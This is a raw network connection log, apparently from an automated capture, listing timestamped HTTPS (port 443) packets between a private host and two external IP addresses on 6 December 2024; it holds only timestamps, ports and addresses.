Dec 6, 2024 15:53:15.017039061 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.124615908 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.125080109 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.125122070 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.125614882 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.125622988 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.415508032 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.416044950 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.416069031 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.416529894 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.416536093 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.564785957 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.564851046 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.564903021 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.565059900 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.565088034 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.565104008 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.565109968 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.567603111 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.567641020 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.567709923 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.567954063 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.567965984 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.647738934 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.649874926 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.649888992 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.650368929 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.650374889 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.799201012 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.799693108 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.799710989 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.800158024 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.800168037 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.851468086 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.855751991 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.855823994 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.855875015 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.855875015 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.855899096 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.855909109 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.858640909 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.858680010 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.858757973 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.858895063 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.858901024 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.084604025 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.085753918 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.085824013 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.085832119 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.085896015 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.085922003 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.085937023 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.085972071 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.085978031 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.088665962 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.088706970 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.088790894 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.088927031 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.088942051 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.351644039 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.351672888 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.351731062 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.356241941 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.373797894 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.373825073 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.373841047 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.373847961 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.398794889 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.398861885 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.401326895 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.402257919 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.402273893 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.767385960 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.774885893 CET	49830	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.774928093 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:16.775357962 CET	49830	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:16.775367022 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.203953028 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.208436012 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.212656021 CET	49830	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.220705986 CET	49830	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.220730066 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.220766068 CET	49830	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.220772028 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.262643099 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.262685061 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.262795925 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.269295931 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.269313097 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.327668905 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.378500938 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.392462015 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.392476082 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.392909050 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.392913103 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.582851887 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.595619917 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.595643044 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.596076012 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.596081018 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.787687063 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.791578054 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.792653084 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.793010950 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.793020010 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.793031931 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.793035984 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.797285080 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.797333956 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.797409058 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.798476934 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.798495054 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.807949066 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.808362961 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.808394909 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:17.808866978 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:17.808872938 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.108877897 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.111340046 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.112793922 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.113543987 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.113568068 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.113580942 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.113585949 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.116689920 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.116740942 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.120692968 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.121052027 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.121064901 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.244493008 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.247726917 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.247783899 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.247797966 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.247849941 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.247898102 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.247912884 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.247922897 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.247929096 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.250511885 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.250540018 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.250603914 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.250742912 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.250752926 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.285487890 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.285968065 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.285991907 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.286432981 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.286438942 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.727365017 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.730779886 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.730909109 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.730947971 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.730967999 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.730978012 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.730983973 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.734172106 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.734206915 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.734282017 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.734451056 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:18.734467983 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:18.758227110 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:18.758264065 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:18.758702040 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:18.775825024 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:18.775854111 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:19.045844078 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.046369076 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.046386003 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.046837091 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.046849012 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.484939098 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.492628098 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.492679119 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.492929935 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.493068933 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.493088961 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.493103027 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.493113995 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.496324062 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.496364117 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:19.496617079 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.496732950 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:19.496747971 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.119339943 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.175604105 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.183923006 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.224721909 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.224730015 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.225172043 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.225177050 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.226090908 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.226106882 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.226496935 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.226502895 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.250165939 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:20.250677109 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:20.252405882 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:20.252413988 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:20.252729893 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:20.303448915 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:20.306432009 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:20.351336002 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:20.716300964 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.720042944 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.720112085 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.720297098 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.720313072 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.720347881 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.720354080 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.724884987 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.727778912 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.728848934 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.729507923 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.729523897 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.729535103 CET	49839	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.729541063 CET	443	49839	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.731079102 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.731122017 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.731252909 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.731403112 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.731419086 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.731993914 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.732027054 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.732109070 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.732249022 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.732261896 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.789638042 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.790168047 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.790203094 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:20.790636063 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:20.790646076 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.031070948 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:21.031150103 CET	443	49842	149.154.167.220	192.168.2.7
Dec 6, 2024 15:53:21.031217098 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:21.036844015 CET	49842	443	192.168.2.7	149.154.167.220
Dec 6, 2024 15:53:21.227682114 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.228275061 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.228308916 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.228728056 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.228734970 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.230259895 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.234463930 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.234517097 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.235137939 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.235362053 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.235367060 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.235384941 CET	49841	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.235389948 CET	443	49841	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.238424063 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.238442898 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.238543034 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.238742113 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.238745928 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.620753050 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.621251106 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.621277094 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.621707916 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.621717930 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.680119038 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.680870056 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.680965900 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.682615042 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.682641983 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.682657003 CET	49843	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.682665110 CET	443	49843	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.687202930 CET	49848	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.687263966 CET	443	49848	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:21.695636034 CET	49848	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.695959091 CET	49848	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:21.695982933 CET	443	49848	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.059489965 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.059572935 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.059765100 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.059808016 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.059808016 CET	49838	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.059830904 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.059844971 CET	443	49838	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.062380075 CET	49849	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.062449932 CET	443	49849	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.062654018 CET	49849	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.062794924 CET	49849	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.062809944 CET	443	49849	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.448288918 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.449054956 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.449068069 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.449579000 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.449584961 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.450714111 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.451097012 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.451112986 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.451512098 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.451518059 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.888494015 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.892005920 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.892074108 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.892162085 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.892180920 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.892194033 CET	49845	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.892200947 CET	443	49845	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.893784046 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.895457983 CET	49850	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.895507097 CET	443	49850	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.895600080 CET	49850	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.895760059 CET	49850	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.895766020 CET	443	49850	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.896883965 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.897753000 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.897804022 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.897804022 CET	49846	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.897825003 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.897836924 CET	443	49846	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.900568962 CET	49851	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.900609016 CET	443	49851	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.900707960 CET	49851	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.900849104 CET	49851	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.900863886 CET	443	49851	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.974735975 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.975533962 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.975547075 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:22.975977898 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:22.975984097 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.410505056 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.410545111 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.410608053 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.410619974 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.410636902 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.410723925 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.410871029 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.410871029 CET	49847	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.410890102 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.410893917 CET	443	49847	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.413793087 CET	49852	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.413820982 CET	443	49852	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.414479971 CET	49852	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.414645910 CET	49852	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.414658070 CET	443	49852	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.418061018 CET	443	49848	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.418834925 CET	49848	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:23.418862104 CET	443	49848	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:23.419264078 CET	49848	443	192.168.2.7	13.107.246.63
